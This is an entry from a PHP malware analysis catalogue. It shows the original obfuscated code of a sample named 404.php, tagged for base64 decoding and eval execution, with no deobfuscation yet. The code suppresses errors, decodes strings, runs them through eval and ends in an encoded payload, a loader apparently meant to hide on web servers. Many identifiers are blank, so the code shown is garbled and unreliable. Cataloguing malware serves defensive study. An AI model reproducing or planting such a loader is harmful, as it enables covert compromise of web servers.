PHP Malware Analysis

Back to list

Filename: 404.php

Tags

Encoding
  • base64_decode
URLs
Execution
  • eval
Environment
  • error_reporting

Deobfuscated code

No debofuscation yet...

Original code

<?php /* PHP Encode by  https://Www.PHPJiaMi.Com/ */
error_reporting(0);
ini_set("display_errors", 0);
if (!defined('wovacljx')) {
    define('wovacljx', __FILE__);
    if (!function_exists("")) {
        function (&$, $) {
            $ = $ = $ = $ = $ = '';
            $ = $('QJLPEVQAIH');
            $ = $('QJLEVJC');
            $ = $('VMDVRWUNGXEF');
            $ = $('QJLCHWFJHUV1F');
            $ = $('VB5JD1QUQ==');
            $ = $($($($($('SE7X69M8PBNXWW+5ZCZE4QKLDYIDZRVPU3VM62E1TT2RHM+EFL397DGZRTGY+J8Z8TUB88QCWIAI7WR+PMB+X0JPQ0E2P8YABMBTLOMOCJLQHQI+YVT+TJ')))));
            $ = $(',', $);
            $ = $[$];
        }
        function ($) {
            global $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $;
            $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = '';
            $ = $('QQ5JPERVRFV1B==');
            $ = $('VQ9');
            $ = $('UQ');
            $ = $('XA9EVAXV5R');
            $ = $('AFYJU==');
            $ = $('UBRAA==');
            $ = $('UBRFQ==');
            $ = $('TJM282B');
            $ = $('YNNXJ3JW=');
            $ = $('YN0LGN3JW=');
            $() == $ ? $() : '';
            $ = $($($('RPARYX=')));
            if (!isset($_SERVER[$]) && !isset($_SERVER[$]) && !isset($_SERVER[$])) {
                $();
            };
            $ = $(true) * $;
            eval("");
            if (($(true) * $ - $) > 100) {
                $();
            }
            eval($('WAAREENGRFHEWJH98J06SRVGDUUHV15SVQMRKTBBRS11NXMMVRKWR='));
            !$($($($, $('HFIM'), $('HF='))), $($($, $('AQ=='), $('HFIP')))) ? $() : $;
            $ = $('HFBVU=');
            $ = $('HFIP');
            $ = $(@$($($($, $, $))));
            return $;
        }
        function ($, $ = '') {
            $ = 'base64_decode';
            $ = $('bWQ1');
            $ = $('');
            $ = $('b3Jk');
            $ = $('c3RybGVu');
            $ = $('Y2hy');
            $ = !$ ? $('') : $;
            $ = $;
            for (;$ < $($);$++) $.= $(${$}) < $('') ? (($(${$}) > $ && $(${$}) < $('')) ? $($(${$}) / 2) : ${$}) : '';
            $ = $($);
            $ = $;
            $ = $ = $($);
            for (;$ < $($);$++) {
                $ = $ ? $ : $;
                $--;
                $.= $[$] ^ $[$];
            }
            return $;
        }
    }
}
global $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $;
$ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = $ = '';
if (!$) {
    $($, 8);
    $($, 9);
    $($, 10);
    $($, 4);
    $($, 13);
    $($, 12);
    $($, 2);
    $($, 14);
    $($, 15);
    $($, 16);
    $($, 17);
    $($, 18);
    $($, 19);
    $($, 11);
    $($, 5);
    $($, 6);
    $($, 1);
    $($, 3);
    $($, 7);
}
$ = $ = $ = $ = '';
$ = $('B');
$ = ($$);
$($($$));
$ = $($);
eval($('VBBYD9WVUBRDBNTDAYATRGPT93+7S8='));
$ = $;
$($($$));
return $; ?>SUNV7U9ZEKU5XLAD399O0WHBD4F10CFQ0FSW5GEK86BXHT6P/TJDO0XG/BT6JP6CM4ZFPGDZEBMRSDH3FN3H9TTLO/Q931++NZ5RFYZEC5XIQ5W9VY2HJMSL6L7M9O/CX929TJXHCBGASD6+GYQTQNL121OV55DQTSZ9TDD9DPN7O+Z54Q74A27VCU7PYT3PAW5TC57SNY0E0IZLPL6J72WZUS37D3ZNIDVM5TRJNBP9SPGR50IC+4A+ILAM757/+7OUKHHEDASI4I3AZJ/FB9GX//BTOIJNC7PF6W6O5KA36FEW+9+ACJ8H6QDO5P5GBH+8Q+9CBI583YJ61UN8X5SGE+D570HT/IKQTOES5SECJCUCR5GLDAGGFJ+5QCKJ/CBAH3K9ZUVU8J5XU9MJOA0IZJQZ39BVKYDWVRL3H96K/FE4F4N5FU6I8SY97ZDN618Q4N3QCBMN9VPGEJRC2LZ9X7QA403QU2FXRQH6+W4D24SYHSKAOY1YEY132K2BM27RKN9PU80KBTXJ8G9LIPR/65OAOAUMBST564V4NYHWTNYNNI5L6KZVYRR6OCTSAJOE3RO64E9U13CTFLR964EYFOWPGDS0+M7AJEKK70H2H/LPLC3SGE600OF0W0U63PUGTK7141NT21QFIUJJOWFXABWG7W8Y6KYB7RJAAUQBHF3BBACEIQF9G96X37AEXL+JDJOVSVX1GAV8XUZXRK6PQBNF1XQBP/QAXL6VLLX/OCS73W6711P75Y44FRDA36VSAP/J6QL1GS65/OXUP/YTZXP1KS2IH/J3F9I0MJ5QY/D/IPHY4Q/GYXS1PZH0CB61YV09B3PT12W8V2BB8P1+Q1T6H57PUA/DMFU8PBNDI0NXS18+3OC6XW8O6K9CWB+/7E6L1JLLG8+XU6YO2QQW+67SSBOIM+C4M6WJJY9ILAZCTHBT9T2WXKQ28CIZLBJ+LJ1PXU7IMDMK52VFAGRA5/NQTEBMOVYKRJOJLT/JNXPXRKV05YZIJGVJNT1+0RDL3Y9VMMWN6I5Z5T+X9BT22OVZIG1TBON33ZTR2W1DC3X4=1RUMHUFDW4CVFQHVAFTUAWYCV1HVVQAAQNT;